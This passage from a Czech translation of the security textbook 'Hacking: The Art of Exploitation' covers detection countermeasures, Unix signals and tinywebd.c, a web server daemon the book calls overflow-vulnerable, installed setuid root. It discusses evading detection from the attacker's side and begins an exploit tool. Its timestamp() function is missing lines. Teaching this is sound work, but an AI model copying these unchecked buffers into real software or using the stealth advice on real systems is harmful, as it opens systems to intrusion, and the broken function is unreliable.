ovšem mnohem aktivnější způsoby, jak se dá posílit bezpečnost. K dispozici jsou defenzivní protiopatření, která se snaží anulovat účinek útoku, nebo působit preventivně, aby k útoku nemohlo vůbec dojít. Protiopatření je dost teoretický pojem, který neříká nic konkrétního – může se jím myslet nějaký produkt z oblasti bezpečnosti, nějaká sada zásad, program, nebo prostě pouze pozorný systémový administrátor. Defenzivní protiopatření se dají rozdělit do dvou skupin: ta, která se pokoušejí detekovat útok, a ta, jež se pokoušejí ochránit zranitelné místo.


376

0x600 – Protiopatření

0x610 Detekující protiopatření První skupina protiopatření se pokouší detekovat vniknutí a nějak na ně reagovat. Detekčním procesem může být leccos – od administrátora, který pročítá protokolovací soubory, až k programu, který odposlouchává síť. Reakce může znamenat to, že se automaticky zničí připojení nebo proces, nebo pouze to, že administrátor pozorně prohlíží všechno, co se objeví na konzole stroje. Pokud jste na pozici systémového administrátora, tak exploity, o nichž víte, nejsou ani zdaleka tak nebezpečné jako exploity, o nichž nevíte. Čím dříve se vniknutí detekuje, tím dříve se s ním dá něco udělat, a je pravděpodobnější, že jej bude možné zkrotit. Znepokojovat by vás měla především vniknutí, která nebyla odhalena celé měsíce. Detekce vniknutí spočívá v tom, že se předjímá, co asi útočící hacker hodlá udělat. Jestliže to dobře odhadnete, budete vědět, co a kde máte hledat. Detekující protiopatření mohou hledat vzory útoků v souborech protokolů, v síťových paketech, nebo dokonce v paměti programu. Poté, co se vniknutí detekovalo, může být hacker vypuzen ze systému, je možné napravit škody napáchané v souborech tím, že budou obnoveny ze zálohy, a dají se identifikovat a opravit exploitovaná zranitelná místa. Detekující protiopatření jsou v elektronickém světě poměrně mocná, když máme k dispozici výbavu pro zálohování a obnovu ze zálohy. Útočník tedy musí počítat s tím, že proti všemu, co udělá, mohou působit detekční protiopatření. Protože ale detekce nemusí být vždy okamžitá, existuje několik scénářů "rozbij, a rychle seber všechno, co se dá", kdy útočník nemusí brát detekci v úvahu. I v těchto scénářích je ovšem lepší, když se nemusí hned prchat. Jednou z nejcennějších deviz hackera je utajení. Exploitujete-li nějaký zranitelný program, takže získáte přístup k shellu roota, znamená to, že na daném systému si můžete dělat cokoliv, co se vám zlíbí. Pokud si ale dáte dobrý pozor a vaše vniknutí nebude detekováno, znamená to navíc, že nikdo neví, že tam jste. A teprve kombinace "můžu všechno" a neviditelnost činí hackera nebezpečným. Z dobré skrýše se dají nenápadně na síti odposlouchat data a hesla, lézt zadními vrátky do programů, a dají se připravovat další útoky na jiných hostitelích. Pokud chcete zůstat skrytí, musíte předpokládat existenci nějakých detekčních metod. Víte-li, co hledají a kde šťourají, budete se moci vyhnout exploitačním vzorům, které by vás odhalily, nebo můžete napodobovat nějaké platné vzory. Koevoluční cyklus mezi skrýváním a detekcí je poháněn přemýšlením o věcech, na které druhá strana vůbec nepomyslela.

0x620 Systémoví démoni Aby naše diskuse o exploitaci protiopatření a metodách obcházení detekce mohla být realistická, potřebujeme především nějaký realistický cíl, který bychom mohli exploitovat. Naším cílem bude nějaký vzdálený serverový program, který akceptuje příchozí připojení. V Unixu jsou takovými programy obvykle systémoví démoni. Démon je program, který běží v pozadí a je jistým způsobem oddělen od řídicího terminálu. Termín démon (daemon) poprvé použili hackeři MIT v šedesátých letech dvacátého století. Odkazuje se na démona z myšlenkového experimentu, který v roce 1867 podnikl fyzik James Maxwell. V tomto experimentu je Maxwellův démon bytostí obdařenou


Hacking – umění exploitace

377

nadpřirozenou schopností bez námahy řešit obtížné úlohy; zde konkrétně šlo o úlohu oddělit pomalejší a rychlejší molekuly. Cílem experimentu bylo teoreticky zkoumat, zdali je možné porušit druhý zákon termodynamiky. Obdobnými schopnostmi jsou vybaveni i systémoví démoni v Linuxu – neúnavně provádějí úlohy jako poskytování služby SSH a udržování systémových protokolů. Programy, které mají charakter démona, obvykle končí na písmeno d, které vyznačuje, že jde o démona, například sshd nebo syslogd. Když do kódu tinyweb.c z kapitoly 0x400 přidáme několik drobností, uděláme z něho realističtějšího systémového démona. Nový kód volá funkci daemon(), která zplodí nový proces v pozadí. Tuto funkci v Linuxu používají mnohé procesy systémových démonů. A zde je manuálová stránka této funkce. DAEMON(3)

Linux Programmer's Manual

DAEMON(3)

NÁZEV daemon – běží v pozadí SYNOPSE #include <unistd.h> int daemon(int nochdir, int noclose); POPIS Funkce daemon() je určena programům, které se chtějí oddělit od řídicího terminálu a běžet v pozadí jako systémoví démoni. Pokud je argument nochdir nulový, daemon() změní aktuální pracovní adresář na root ("/"), jinak ne. Pokud je argument noclose nulový, daemon() přesměruje standardní vstup, standardní výstup a standardní chybový výstup na /dev/null, NÁVRATOVÁ HODNOTA (Tato funkce rozdvojuje, a pokud fork() uspěje, udělá rodičovský proces _exit(0), takže další chyby vidí pouze dceřiný proces.) Při úspěchu se vrátí nula. Dojde-li k nějaké chybě, daemon() vrátí -1 a nastaví globální proměnnou errno na jednu z chyb, které jsou specifikované pro knihovní funkce fork(2) a setsid(2).

Protože systémoví démoni běží odděleně od řídicího terminálu, kód nového démona tinyweb zapisuje do nějakého protokolovacího souboru. Protože systémoví démoni běží nezávisle na řídicím terminálu, jsou obvykle řízeni pomocí signálů. Nový program tinyweb v podobě démona potřebuje zachytit ukončovací signál, aby mohl hladce skončit, pokud bude zabit (signálem Kill).


378

0x600 – Protiopatření

0x621

Signály letem-světem

Signály v Unixu poskytují metodu pro komunikaci mezi jednotlivými procesy. Když proces obdrží signál, operační systém přeruší tok jeho vykonávání, aby se mohl zavolat zpracovatel signálu. Signály se identifikují čísly, přičemž každý signál má svého výchozího zpracovatele. Pokud například na řídicím terminálu programu stisknete CTRL+C, odešle se přerušovací signál (interrupt signal), který má výchozího zpracovatele signálu, jenž ukončí program. To vám umožňuje přerušit běh programu i v situaci, když se zasekl v nekonečném cyklu. Pomocí funkce signal() se dají zaregistrovat vlastní zpracovatelé signálů. V následující ukázce kódu se pro jisté signály registrují zpracovatelé signálů; kód main obsahuje nekonečný cyklus. signal_example.c #include <stdio.h> #include <stdlib.h> #include <signal.h> /* Několik definic signálů z signal.h opatřených popisky * #define SIGHUP

1 Hangup

* #define SIGINT

2 Interrupt (Ctrl-C)

* #define SIGQUIT

3 Quit (Ctrl-\)

* #define SIGILL

4 Neplatná instrukce

* #define SIGTRAP

5 Trace/breakpoint trap

* #define SIGABRT

6 Proces násilně ukončen

* #define SIGBUS

7 Chyba Bus

* #define SIGFPE

8 Chyba pohyblivé řádové čárky

* #define SIGKILL

9 Kill

* #define SIGUSR1

10 Uživatelsky definovaný signál 1

* #define SIGSEGV

11 Selhání segmentace (Segmentation fault)

* #define SIGUSR2

12 Uživatelsky definovaný signál 2

* #define SIGPIPE

13 Zápis do trubice (pipe), ale žádná nečte

* #define SIGALRM

14 Nastaveno odpočítávání funkcí alarm()

* #define SIGTERM

15 Ukončení (odeslán příkazem kill)

* #define SIGCHLD

17 Signál dceřiného procesu

* #define SIGCONT

18 Pokračovat, pokud byl zastaven

* #define SIGSTOP

19 Stop (pozastavit vykonávání)

* #define SIGTSTP

20 Terminal stop [suspend] (Ctrl-Z)

* #define SIGTTIN

21 Proces v pozadí se pokouší číst standardní vstup

* #define SIGTTOU

22 Proces v pozadí se pokouší číst standardní výstup

*/ /* Zpracovatel signálů */ void signal_handler(int signal) {


Hacking – umění exploitace

379

printf("Caught signal %d\t", signal); if (signal == SIGTSTP) printf("SIGTSTP (Ctrl-Z)"); else if (signal == SIGQUIT) printf("SIGQUIT (Ctrl-\\)"); else if (signal == SIGUSR1) printf("SIGUSR1"); else if (signal == SIGUSR2) printf("SIGUSR2"); printf("\n"); } void sigint_handler(int x) { printf("Caught a Ctrl-C (SIGINT) in a separate handler\nExiting.\n"); exit(0); } int main() { /* Registrace zpracovatelů signálů */ signal(SIGQUIT, signal_handler);

// Určí signal_handler() jako

signal(SIGTSTP, signal_handler);

// zpracovatele signálů těchto

signal(SIGUSR1, signal_handler);

// signálů.

signal(SIGUSR2, signal_handler); signal(SIGINT, sigint_handler);

// Nastaví sigint_handler() pro SIGINT.

while(1) {}

// Nekonečný cyklus.

}

Když se tento program zkompiluje a spustí, zaregistrují se zpracovatelé signálů a program vstoupí do nekonečného cyklu. Přestože se program zasekne v nekonečném cyklu, příchozí signály přeruší jeho vykonávání a zavolají se zaregistrovaní zpracovatelé signálů. Ve výstupu níže se používají ty signály, které lze spustit z řídicího terminálu. Když funkce signal_handler() skončí, vrátí vykonávání zpět do přerušeného cyklu, zatímco funkce sigint_handler() program ukončí. reader@hacking:~/booksrc $ gcc -o signal_example signal_example.c reader@hacking:~/booksrc $ ./signal_example Caught signal 20

SIGTSTP (Ctrl-Z)

Caught signal 3 SIGQUIT (Ctrl-\) Caught a Ctrl-C (SIGINT) in a separate handler Exiting. reader@hacking:~/booksrc $


380

0x600 – Protiopatření

Konkrétní signály se dají procesu odesílat příkazem kill. Tento příkaz standardně odešle procesu ukončující signál (SIGTERM). Uvede-li se volba -l příkazového řádku, kill vypíše seznam všech možných signálů. Ve výstupu níže jsou programu signal_example, který se vykonává v jiném terminálu, odeslány signály SIGUSR1 a SIGUSR2. reader@hacking:~/booksrc $ kill -l 1) SIGHUP

2) SIGINT

3) SIGQUIT

5) SIGTRAP

6) SIGABRT

7) SIGBUS

4) SIGILL 8) SIGFPE

9) SIGKILL

10) SIGUSR1

11) SIGSEGV

12) SIGUSR2

13) SIGPIPE

14) SIGALRM

15) SIGTERM

16) SIGSTKFLT

17) SIGCHLD

18) SIGCONT

19) SIGSTOP

20) SIGTSTP

21) SIGTTIN

22) SIGTTOU

23) SIGURG

24) SIGXCPU

25) SIGXFSZ

26) SIGVTALRM

27) SIGPROF

28) SIGWINCH

29) SIGIO

30) SIGPWR

31) SIGSYS

34) SIGRTMIN

35) SIGRTMIN+1

36) SIGRTMIN+2

37) SIGRTMIN+3

38) SIGRTMIN+4

39) SIGRTMIN+5

40) SIGRTMIN+6

41) SIGRTMIN+7

42) SIGRTMIN+8

43) SIGRTMIN+9

44) SIGRTMIN+10

45) SIGRTMIN+11

46) SIGRTMIN+12

47) SIGRTMIN+13

48) SIGRTMIN+14

49) SIGRTMIN+15

50) SIGRTMAX-14

51) SIGRTMAX-13

52) SIGRTMAX-12

53) SIGRTMAX-11

54) SIGRTMAX-10

55) SIGRTMAX-9

56) SIGRTMAX-8

57) SIGRTMAX-7

58) SIGRTMAX-6

59) SIGRTMAX-5

60) SIGRTMAX-4

61) SIGRTMAX-3

62) SIGRTMAX-2

63) SIGRTMAX-1

64) SIGRTMAX

reader@hacking:~/booksrc $ ps a | grep signal_example 24491 pts/3

R+

0:17 ./signal_example

24512 pts/1

S+

0:00 grep signal_example

reader@hacking:~/booksrc $ kill -10 24491 reader@hacking:~/booksrc $ kill -12 24491 reader@hacking:~/booksrc $ kill -9 24491 reader@hacking:~/booksrc $

Nakonec se pomocí kill -9 odešle signál SIGKILL. Protože není možné změnit zpracovatele tohoto signálu, příkaz kill -9 lze vždy použít pro zabití procesu. V tom druhém okně terminálu, kde běží program signal_example, je vidět, které signály byly zachyceny, a že proces byl zabit. reader@hacking:~/booksrc $ ./signal_example Caught signal 10

SIGUSR1

Caught signal 12

SIGUSR2

Killed reader@hacking:~/booksrc $

Ačkoliv signály samy o sobě jsou velmi prosté, komunikací mezi jednotlivými procesy mohou rychle vzniknout komplexní webové závislosti. V našem novém démonovi tinyweb se ovšem signály používají pouze pro hladké ukončení procesu, takže jejich implementace byla jednoduchá.


Hacking – umění exploitace

0x622

381

Démon tinyweb

Tato novější verze programu tinyweb je systémovým démonem, který běží v pozadí bez řídicího terminálu. Svůj výstup s časovými známkami zapisuje do protokolovacího souboru a naslouchá signálu pro ukončení (SIGTERM), takže se může hladce shodit, když je zabit. Ačkoliv změny v programu jsou opravdu velmi drobné, poskytují mnohem realističtější cíl exploitace. Nové části kódu jsou v následujícím výpisu zvýrazněny tučně.

tinywebd.c #include <sys/stat.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <time.h> #include <signal.h> #include "hacking.h" #include "hacking-network.h" #define PORT 80

// Port, na který se budou // uživatelé připojovat.

#define WEBROOT "./webroot"

// Kořenový adresář webového serveru

#define LOGFILE "/var/log/tinywebd.log"

// Název protokolovacího souboru

int logfd, sockfd;

// Globální deskriptory pro // protokolovací soubor a socketový // soubor

void handle_connection(int, struct sockaddr_in *, int); int get_file_size(int);

// Vrátí velikost souboru otevřeného // souborového deskriptoru

void timestamp(int);

// Zapíše časovou známku // do otevřeného souborového // deskriptoru

// Tato funkce se zavolá, když je proces zabit (killed). void handle_shutdown(int signal) { timestamp(logfd); write(logfd, "Shutting down.\n", 16); close(logfd); close(sockfd); exit(0); }


382

0x600 – Protiopatření

int main(void) { int new_sockfd, yes=1; struct sockaddr_in host_addr, client_addr; // Informace o mé adrese socklen_t sin_size; logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(logfd == -1) fatal("opening log file"); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("setting socket option SO_REUSEADDR"); printf("Starting tiny web daemon.\n"); if(daemon(1, 0) == -1)

// Rozdvojení na proces démona v pozadí.

fatal("forking to daemon process"); signal(SIGTERM, handle_shutdown);

// Když je zabit, zavolá // handle_shutdown.

signal(SIGINT, handle_shutdown);

// Když je přerušen, zavolá // handle_shutdown.

timestamp(logfd); write(logfd, "Starting up.\n", 15); host_addr.sin_family = AF_INET;

// Bajtové pořadí hostitele

host_addr.sin_port = htons(PORT);

// síťové bajtové pořadí short

host_addr.sin_addr.s_addr = INADDR_ANY;

// Automaticky vyplní // mou IP adresou.

memset(&(host_addr.sin_zero), '\0', 8);

// Vynuluje zbytek struktury.

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1) fatal("binding to socket"); if (listen(sockfd, 20) == -1) fatal("listening on socket"); while(1) {

// Cyklus akceptace příchozích připojení.

sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1)


Hacking – umění exploitace

383

fatal("accepting connection"); handle_connection(new_sockfd, &client_addr, logfd); } return 0; } /* Funkce zpracuje připojení na předaném socketu z předané klientské adresy * a zaprotokoluje předaný souborový deskriptor. Připojení se zpracuje jako * webový požadavek a tato funkce odpoví přes připojený socket. Nakonec se na * konci funkce předaný socket uzavře. */ void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; length = recv_line(sockfd, request); sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr-> sin_addr),ntohs(client_addr_ptr->sin_port), request); ptr = strstr(request, " HTTP/");

// Hledá požadavek, // který vypadá jako platný.

if(ptr == NULL) {

// Tohle není platný HTTP.

strcat(log_buffer, " NOT HTTP!\n"); } else { *ptr = 0;

// Ukončí buffer na konci URL.

ptr = NULL;

// Nastaví ptr na NULL (označí tím // neplatný požadavek).

if(strncmp(request, "GET ", 4) == 0) ptr = request+4;

// požadavek Get // ptr je URL.

if(strncmp(request, "HEAD ", 5) == 0) // požadavek Head ptr = request+5; if(ptr == NULL) {

// ptr je URL. // Tohle nebylo rozpoznáno // jako požadavek.

strcat(log_buffer, " UNKNOWN REQUEST!\n"); } else {

// Platný požadavek, ptr // ukazuje na název zdroje

if (ptr[strlen(ptr) - 1] == '/') strcat(ptr, "index.html"); strcpy(resource, WEBROOT);

// U zdroje končícího na '/', // přidá nakonec

'index.html'..

// Zahájí zdroj cestou // webového kořene

strcat(resource, ptr);

// a sloučí ji s cestou zdroje.

fd = open(resource, O_RDONLY, 0);

// Pokusí se otevřít soubor.

if(fd == -1) {

// Pokud se soubor nenašel


0x600 – Protiopatření

384

strcat(log_buffer, " 404 Not Found\n"); send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); send_string(sockfd, "<html><head><title>404 Not Found</title> </head>"); send_string(sockfd, "<body><h1>URL not found</h1></body> </html>\r\n"); } else {

// Jinak soubor obslouží.

strcat(log_buffer, " 200 OK\n"); send_string(sockfd, "HTTP/1.0 200 OK\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); if(ptr == request + 4) {

// Pak je tohle požadavek GET

if( (length = get_file_size(fd)) == -1) fatal("getting resource file size"); if( (ptr = (unsigned char *) malloc(length)) == NULL) fatal("allocating memory for reading resource"); read(fd, ptr, length);

// Načte soubor do paměti.

send(sockfd, ptr, length, 0); // Odešle ho socketu. free(ptr);

// Uvolní paměť souboru.

} close(fd);

// Uzavře soubor.

}

// Konec bloku if pro soubor nalezen/nenalezen.

} }

// Konec bloku if platného požadavku. // Konec bloku if platného HTTP.

timestamp(logfd); length = strlen(log_buffer); write(logfd, log_buffer, length);

// Zapíše do protokolu.

shutdown(sockfd, SHUT_RDWR);

// Graciézně socket uzavře.

} /* Funkce přebírá otevřený souborový deskriptor a vrací * velikost sdruženého souboru. Při nezdaru vrací -1. */ int get_file_size(int fd) { struct stat stat_struct; if(fstat(fd, &stat_struct) == -1) return -1; return (int) stat_struct.st_size; } /* Funkce zapíše řetězec časové známky do otevřeného


Hacking – umění exploitace

385

* souborového deskriptoru, který byl do ní předán. */ void timestamp(fd) { time_t now; struct tm *time_struct; int length; char time_buffer[40]; time(&now);

// Získá počet sekund od začátku epochy.

time_struct = localtime((const time_t *)&now); write(fd, time_buffer, length);

// Převede na strukturu tm.

// Zapíše řetězec časové // známky do protokolu.

}

Tento démon se rozdvojuje (forks) do pozadí, zapisuje do souboru protokolu časové známky, a pokud je zabit, hladce skončí. Deskriptor protokolovacího souboru a socket přijímající připojení jsou deklarovány jako globální, takže se dají hladce uzavřít funkcí handle_shutdown(). Tato funkce je připravena jako zpracovatel zpětného volání (callback) pro ukončovací (terminate) a přerušovací (interrupt) signál, což umožňuje programu hladce skončit, když je zabit příkazem kill. Následující výstup ukazuje, jak se program zkompiloval, spustil a zabil. Povšimněte si, že protokolovací soubor obsahuje jak časové známky, tak i zprávu o shození, když program zachytil ukončovací signál a zavolal handle_shutdown(), aby skončil hladce. reader@hacking:~/booksrc $ gcc -o tinywebd tinywebd.c reader@hacking:~/booksrc $ sudo chown root ./tinywebd reader@hacking:~/booksrc $ sudo chmod u+s ./tinywebd reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1 The web server for 127.0.0.1 is Tiny webserver reader@hacking:~/booksrc $ ps ax | grep tinywebd 25058 ?

Ss

0:00 ./tinywebd

25075 pts/3

R+

0:00 grep tinywebd

reader@hacking:~/booksrc $ kill 25058 reader@hacking:~/booksrc $ ps ax | grep tinywebd 25121 pts/3

R+

0:00 grep tinywebd

reader@hacking:~/booksrc $ cat /var/log/tinywebd.log cat: /var/log/tinywebd.log: Permission denied reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log 07/22/2007 17:55:45> Starting up. 07/22/2007 17:57:00> From 127.0.0.1:38127 "HEAD / HTTP/1.0" 07/22/2007 17:57:21> Shutting down. reader@hacking:~/booksrc $

200 OK


386

0x600 – Protiopatření

Tento program tinywebd.c obsluhuje HTTP obsah úplně stejně, jako původní program tinyweb, ovšem s tím rozdílem, že se chová jako systémový démon, je oddělen od řídicího terminálu a zapisuje do protokolovacího souboru. Oba programy jsou ovšem zranitelné stejnými exploity využívajícími přetečení. Tato exploitace je nicméně pouhý začátek. Když za cíl exploitace zvolíme tohoto nového démona, dozvíme se, jak se po vniknutí vyhnout detekci.

0x630 Nástroje našeho řemesla Když nyní máme po ruce realistický cíl, přelezme barikádu, abychom se dostali na teritorium útočníka. Pro tento druh útoku jsou nepostradatelnými nástroji našeho řemesla exploitační skripty. Tak jako dokáže profesionál se šperhákem v ruce otevřít různé zámky než byste stihnuli mrknout okem, exploity obdobným způsobem otevírají mnohé dveře hackerovi. Prostřednictvím pečlivé a obratné manipulace s interními mechanismy je možné se zcela vyhnout bezpečnostním opatřením. V předchozích kapitolách jsme psali kód exploitu v C a z příkazového řádku ručně zkoumali slabiny programů. Nezřetelnou hranici, která odděluje exploitační programy od exploitačních nástrojů, tvoří finalizace a opětovná konfigurovatelnost. Exploitační program je spíše puška než nástroj. Podobně jako puška i exploitační program se používá jednorázově a jeho uživatelské rozhraní je prostě něco podobného jako kohoutek u pušky, který stačí zmáčknout. Střelné zbraně i exploitační programy jsou finální výrobky, s nimiž mohou zacházet nekvalifikované osoby, což může mít nebezpečné následky. Oproti tomu exploitační nástroje nelze označit za finální výrobky. Nejsou také určeny pro použití jinými osobami. Protože hacker umí programovat, je zcela přirozené, že si vytváří své vlastní skripty, které poté používá jako pomůcky při exploitaci. Tyto personalizované nástroje automatizují pracné úlohy a ulehčují experimenty. Podobně jako běžné nástroje ze života, i tyto nástroje se mohou využívat pro nejrůznější potřeby a rozvíjet tak dovednosti uživatele.

0x631

Nástroj pro exploitaci tinywebd

Pro démona tinyweb bychom rádi měli takový exploitační nástroj, který by nám umožnil experimentovat s jeho zranitelnostmi. Podobně jako při vývoji předchozích exploitů i zde nejprve prostřednictvím GDB zjistíme o daném zranitelném místu nějaké podrobnosti, například offsety. Offset k návratové adrese bude stejný jako v původním programu tinyweb.c. Program, který je démonem, nám ovšem předkládá dodatečnou výzvu. Volání daemon() rozdvojí proces, což znamená, že zbytek programu běží v dceřiném procesu, zatímco rodičovský proces skončí. V následujícím výstupu jsme nastavili bod přerušení hned za volání daemon(), nicméně debugger se k němu nikdy nedostane. reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ sudo gdb -q ./a.out warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.